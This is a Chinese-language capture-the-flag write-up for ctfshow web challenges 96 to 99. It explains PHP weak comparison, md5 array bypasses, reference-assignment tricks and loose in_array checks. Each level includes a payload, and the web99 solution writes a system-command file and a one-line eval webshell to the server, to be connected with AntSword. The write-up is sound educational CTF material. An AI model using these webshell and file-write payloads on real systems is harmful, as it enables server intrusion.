96-99 均采用弱比较的方式获取flag
重点
了解 md5 弱类型比较与强类型
了解 if 语句简写
了解 in_array() 缺点
web96
highlight_file(__FILE__); if(isset($_GET['u'])){ if($_GET['u']=='flag.php'){ die("no no no"); }else{ highlight_file($_GET['u']); } }
条件:采取黑名单匹配,且采用弱比较(==)
知识点
highlight_file()
highlight_file($filename,$return) $filename 必需。要进行高亮处理的 PHP 文件的路径。 $return 可选。如果设置 true,则本函数返回高亮处理的代码。
payload
u=./flag.php //相对路径 u=/var/www/html/flag.php //由于绝对路径是已知的,所以直接使用
web97
include("flag.php"); highlight_file(__FILE__); if (isset($_POST['a']) and isset($_POST['b'])) { if ($_POST['a'] != $_POST['b']) if (md5($_POST['a']) === md5($_POST['b'])) echo $flag; else print 'Wrong.'; }
要求:1、用 POST 方式传递参数
2、参数 a、b 不相等
3、两参数 MD5 相等
知识点
1、if 语句
若执行语句为一条,可省略花括号
if else 算是一条语句
if elseif else 也算是一条语句,不管中间 elseif 有多少,始终算作一条语句
2、MD5 缺点
(1)弱类型比较:MD5 加密后的值为 0e 开头,在经过 == 比较时视为相同( 0e 也为科学计数法的表示特征)
(2)强碰撞:两个不相同的内容/文件,MD5 值相同
MD5 碰撞工具:fastcoll
(3)无法处理数组,传入数组会返回 NULL
payload
a[]=1&b[]=2 // POST 方式传参,利用 MD5 无法处理数组的特性
//也可利用强碰撞
web98
1 include("flag.php"); 2 $_GET?$_GET=&$_POST:'flag'; 3 $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; 4 $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; 5 highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
分析:第 2 行,$_GET 值存在,则将 $_POST 的值赋给 $_GET
第 3 行,变量 flag 值为 flag 时,将 $_COOKIE 的值赋给 $_GET
第 4 行,变量 flag 值为 flag 时,将 $_SERVER 的值赋给 $_GET
第 5 行,变量 HTTP_FLAG 值为 flag 时,高亮显示 $flag
第 3、4 行没啥用,混淆视线,重点在第 2、5 行
不管 $_GET 值为多少,都会被 $_POST 的值取代,但又需要$_GET['HTTP_FLAG'] 的值,因此,将 HTTP_FLAG 的值通过 POST 方式传递,同时利用
第 2 行,将 $_POST 的值赋予给 $_GET
要求:变量 flag 的值不能为 flag ,变量 HTTP_FLAG 的值为 flag ,同时使用 GET、POST 两中传参方式
知识点
1、if 语句简写
(1)执行单条语句,可省略 { }
(2)三目运算符
格式:条件? 语句1: 语句2(条件为真,执行语句1;条件为假,执行语句2)
if 语句格式 if(条件){语句1}else{语句2}
(3)符号 || &&
2、预定义变量
预定义变量都是关联数组类型
(1)服务器变量:$_SERVER
(2)HTTP GET变量:$_GET
(3)HTTP POST变量:$_POST
(4)HTTP cookies:$_COOKIE
payload
get a=a //保证 $_GET 有值(非0)就行 post HTTP_FLAG=flag //虽然第 3、4 行使用到变量 flag ,但这里是否对变量 flag 赋值,并不影响获取flag
web99
highlight_file(__FILE__); $allow = array(); for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i)); } if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ file_put_contents($_GET['n'], $_POST['content']); }
要求:1、变量 n 存在于随机数组 $allow 中
知识点
1、array_push() 向数组尾部添加元素
2、file_put_contents($filename,$data,$flags,$context) 向文件中写入一个字符串,若没有文件,则先创建再写入
3、in_array($value,$array,$type)
$type 若为true,则检测 $value 值与 $array 值 的类型是否相同
此题可以当作 命令执行 或 文件上传 类型解题
payload
法一 执行系统命令 get n=123.php //数字是多少无所谓,小于 0x36d 就行,数组 $allow 是由 36 个小于 0x36d 的随机数字组成,因此需要多试几次 post content=<?=system(tac fla*);?>
法二 上传一句话木马 get n=123.php post content=<?php eval($_POST['a'])?>
蚁剑连接
标签:语句,web,HTTP,GET,99,flag,ctfshow,file,POST From: https://www.cnblogs.com/IFS-/p/17178643.html